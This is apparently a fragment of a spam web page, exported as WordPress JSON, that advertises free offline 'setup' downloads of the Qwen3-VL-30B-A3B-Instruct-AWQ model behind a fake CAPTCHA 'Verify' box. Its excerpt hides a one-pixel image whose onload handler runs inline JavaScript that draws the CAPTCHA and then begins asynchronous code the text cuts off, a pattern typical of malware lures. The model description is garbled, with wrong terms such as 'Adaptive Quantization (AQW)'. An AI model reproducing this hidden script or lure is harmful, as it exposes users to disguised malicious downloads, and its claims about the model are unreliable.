17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:29px;padding-left:24px;margin-left:0\">\n<li><strong>CPU:<\/strong> multi-threading <strong>optimized<\/strong> for fast prompt processing<\/li>\n<li><b>RAM:<\/b> enough space for <b>background apps<\/b> and OS overhead<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>The Powerhouse Behind Advanced Multimodal AI<\/h4>\n<p>Qwen3-VL-30B-A3B-Instruct-AWQ is a game-changing language model that seamlessly integrates vision and text capabilities, revolutionizing the way we interact with complex visual data. By harnessing the power of Adaptive Quantization (AQW), this cutting-edge model strikes an impressive balance between efficiency and performance. With its 30-billion parameter backbone and A3B optimization layer, Qwen3-VL-30B-A3B-Instruct-AWQ delivers unparalleled results in visual reasoning tasks.<\/p>\n<h4>Technical Specifications: A Closer Look<\/h4>\n<p>\u2022 **Rapid Inference**: Enjoy lightning-fast processing speeds, making it an ideal choice for high-performance applications.\u2022 **Scalable Deployment**: Seamlessly integrate Qwen3-VL-30B-A3B-Instruct-AWQ into existing AI pipelines, ensuring seamless scalability and reliability.<\/p>\n<table>\n<tr>\n<th>Core Technical Specifications<\/th>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>30 B<\/td>\n<\/tr>\n<tr>\n<td><b>Modalities<\/b><\/td>\n<td>Text + Vision<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>AWQ (int8)<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Publicly sourced multimodal corpora<\/td>\n<\/tr>\n<tr>\n<td><b>Inference Speed<\/b><\/td>\n<td>&gt;200 tokens\/s on GPU<\/td>\n<\/tr>\n<\/table>\n<h4>Fostering Enterprise Excellence<\/h4>\n<p>By combining unparalleled efficiency with exceptional capability, Qwen3-VL-30B-A3B-Instruct-AWQ positions itself as the leading solution for enterprises seeking to elevate their multimodal AI capabilities. This powerhouse of a model is poised to revolutionize the way we work, interact, and innovate \u2013 unlocking new frontiers in visual reasoning, natural language processing, and more.<\/p>\n<h4>What&#8217;s Next for Qwen3-VL-30B-A3B-Instruct-AWQ?<\/h4>\n<p>Stay tuned for future updates on this groundbreaking model, as it continues to shape the future of multimodal AI. With its impressive capabilities and adaptability, Qwen3-VL-30B-A3B-Instruct-AWQ is sure to remain at the forefront of innovation, empowering businesses and individuals alike to unlock new possibilities.<\/p>\n<ol>\n<li>Script downloading user-trained voice checkpoints for tortoise-tts local server environment layouts<\/li>\n<li>Qwen3-VL-30B-A3B-Instruct-AWQ Locally (No Cloud) For Low VRAM (6GB\/8GB) Offline Setup<\/li>\n<li>Setup tool executing multi-threaded Blake3 cryptographic hash verification for safety<\/li>\n<li>Run Qwen3-VL-30B-A3B-Instruct-AWQ Easy Build FREE<\/li>\n<li>Downloader for ChatRTX library updates containing multi-folder file indexing layers<\/li>\n<li>Full Deployment Qwen3-VL-30B-A3B-Instruct-AWQ on Your PC with Native FP4 Offline Setup FREE<\/li>\n<\/ol>\n<p><a href=\"https:\/\/jdproperties.ltd\/category\/quantizers\/\">https:\/\/jdproperties.ltd\/category\/quantizers\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udee0 Hash code: e57eb613c2b2cfc4efa8448bce1ebae5 \u2014 Last modification: 2026-07-20 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await 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